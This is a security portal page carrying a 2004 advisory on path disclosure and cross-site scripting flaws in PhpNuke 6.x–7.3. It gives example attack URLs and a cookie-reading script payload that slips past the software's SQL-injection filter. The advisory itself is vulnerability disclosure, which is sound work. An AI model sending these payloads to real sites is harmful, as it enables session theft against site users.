Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
February 9, 2010
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 urlaxe services
 y3dips ITsec
 Md5 Cracker
 plain-text.info
 LifeDork
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: Izzy_2o2
New Today: 4
New Yesterday: 6
Overall: 5899

People Online:
Visitors: 126
Members: 4
Total: 130

Online Now:
01: Izzy_2o2 - Your Account
02: Mooka91 - Forums
03: tb14 - Forums
04: vince213333 - Forums
milw0rm
·BigAnt Server <= 2.50 SP6 Local (ZIP File) Buffer Overflow PoC #2
·Joomla com_mytube (user_id) Blind SQL Injection Exploit
·Joomla com_jinc (newsid) Blind SQL Injection Vulnerability
·Snort < 2.8.5 Unified1 Output Denial of Service Exploit
·WX Guest Book 1.1.208 (SQL/XSS) Multiple Remote Vulnerabilities
·Loggix Project <= 9.4.5 Multiple Remote File Inclusion Vulnerabilities
·ProdLer <= 2.0 (prodler.class.php sPath) RFI Vulnerability
·CMScontrol 7.x (index.php id_menu) SQL Injection Vulnerability
·cP Creator 2.7.1 (Cookie tickets) Remote SQL Injection Exploit
·Winplot (.wp2 File) Local Buffer Overflow Exploit

read more...
PacketStorm News
·dradis-v2.5.0.tar.gz
·netsniff-ng-0.5.4.1.tar.g z
·CORE-2010-0121.txt
·flexmysql-sql.txt
·CORE-2010-0104.txt
·wippien-negotiation.txt
·mysql_yassl_getname.rb.tx t
·novelliprint_datetime.rb. txt
·novelliprint_target-frame .rb.txt
·deepburner_path.rb.txt

read more...
Security Basics
·Re: SMS Banking
·Re: SMS Banking
·Re: SMS Banking
·Re: Re: MSN virus
·Re: SMS Banking
·Re: MSN virus
·Re: SMS Banking
·Re: SMS Banking
·Re: Transparent vs Routed Firewall
·Re: Firewalking & Netcat & Statistics

read more...
[waraxe-2004-SA#030] - Multiple vulnerabilities in PhpNuke 6.x - 7.3





Author: Janek Vind "waraxe"
Date: 17. May 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=30


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it's freeware, easy to install and has broad set of features.

Homepage: http://phpnuke.org


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

So PhpNuke version 7.3 is out allready and has improved by security means.
Anyway, i have found many unpublished security flaws in it, not fixed yet in 7.3
version and one security hole is brandnew - from integrated nukecops union tap ;)
Time is money, so let's start our journey to PhpNuke's (in)security world...


A. Full path disclosure:

A1 - full path disclosure through unsanitized variable "show" in "WebLinks" module:

http://localhost/nuke73/modules.php?name=Web_Links&l_op=viewlink&cid=1&show=foobar

Warning: Division by zero in D:apache_wwwroot
uke73modulesWeb_Linksindex.php on line 774



B. Cross-site scripting aka XSS:

B1 - XSS through uninitialized variable "optionbox" in "News" module:

http://localhost/nuke73/modules.php?name=News&file=article&sid=1&optionbox=[xss code here]


B2 - XSS through unsanitized variable "date" in "Statistics" module:

http://localhost/nuke73/modules.php?name=Statistics&op=DailyStats&year=2004&month=5&date=[xss code here]


B3 - XSS through unsanitized variables in "Stories_Archive" module:

http://localhost/nuke73/modules.php?name=Stories_Archive&sa=show_month&year=[xss code here]&month=05&month_l=May
http://localhost/nuke73/modules.php?name=Stories_Archive&sa=show_month&year=2004&month=[xss code here]&month_l=May
http://localhost/nuke73/modules.php?name=Stories_Archive&sa=show_month&year=2004&month=05&month_l=[xss code here]


B4 - XSS through unsanitized variables in "Surveys" module:

http://localhost/nuke73/modules.php?name=Surveys&file=comments&op=Reply&pid=1&pollID=1&mode=[xss code here]&order=0&thold=0
http://localhost/nuke73/modules.php?name=Surveys&file=comments&op=Reply&pid=1&pollID=1&mode=thread&order=[xss code here]&thold=0
http://localhost/nuke73/modules.php?name=Surveys&file=comments&op=Reply&pid=1&pollID=1&mode=thread&order=&thold=[xss code here]


B5 - XSS through nukecops UnionTap Sql Prevention Code:

Well, you know, this is my favourite one - securing one hole will induct new one.
Let's look at beginning of the "mainfile.php" from PhpNuke 7.3 :


//Union Tap
//Copyright Zhen-Xjell 2004 http://nukecops.com
//Beta 3 Code to prevent UNION SQL Injections
unset($matches);
unset($loc);
if (preg_match("/([OdWo5NIbpuU4V2iJT0n]{5}) /", rawurldecode($loc=$_SERVER["QUERY_STRING"]), $matches)) {
die("YOU ARE SLAPPED BY <a href="http://nukecops.com">NUKECOPS</a> BY USING '$matches[1]' INSIDE '$loc'.");
}


So this clever code will catch up nonmasked sql injection attempts, made through "GET" request...
Let's try this request:

http://localhost/nuke73/index.php?foo=bar%20union%20select

and we see nice message like this:

YOU ARE SLAPPED BY NUKECOPS BY USING 'union' INSIDE 'foo=bar%20union%20select'.

Uh, how scary...
But what, if we issue request like this (try it with M$ Internet Explorer for succes!):

http://localhost/nuke73/index.php?foo=bar%20union%20select%20<script>alert(document.cookie);</script>

Oops, nice case of cross-site scripting! And because anti-xss filtering code is located
AFTER UnionTap, then we can use even most common "<script>" tags...

Heya to nukecops and have a nice day :)



How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Wanna know, how to patch those security holes? Then you are welcome to visit
forum on my homepage at http://www.waraxe.us/forum/
See ya there!



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to all bugtraq readers in Estonia! Tervitused!
Special greets to http://www.gamecheaters.us staff!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2005-01-06 (5857 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2315
pexli  pexli - 621
shai-tan  shai-tan - 477
LINUX  LINUX - 404
y3dips  y3dips - 281
lenny  lenny - 272
vince213333  vince213333 - 268
tehhunter  tehhunter - 259
SpyderMonkey  SpyderMonkey - 210
slimjim100  slimjim100 - 208

M$ Security Bulletins
Currently there is a problem with headlines from this site
News @ SecurityFocus
·News: Twitter attacker had proper credentials
·News: PhotoDNA scans images for child abuse
·News: Conficker data highlights infected networks
·News: Popular apps need better patching, says report
·Brief: Google offers bounty on browser bugs
·Brief: Cyberattacks from U.S. "greatest concern"
·Brief: Microsoft patches as fraudsters target IE flaw
·Brief: Attack on IE 0-day refined by researchers
·News: Most consumers reuse banking passwords
·News: CIA, PayPal under bizarre SSL assault

read more...
Vuln Watch
·VulnWatch

read more...
alexa
Incidents
·About
·
RSS
·
Archive
·
About
·
RSS
·
Archive
·
About
·
RSS
·
Archive
·
About

read more...



Hard drive recovery - Game Cheats - Book Reviews - Cisco VPN error 412
Harry Potter - Book Reviews - Old Science Books Online - Biographies Online Database
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2008 Janek Vind "waraxe"

Page Generation: 0.108 Seconds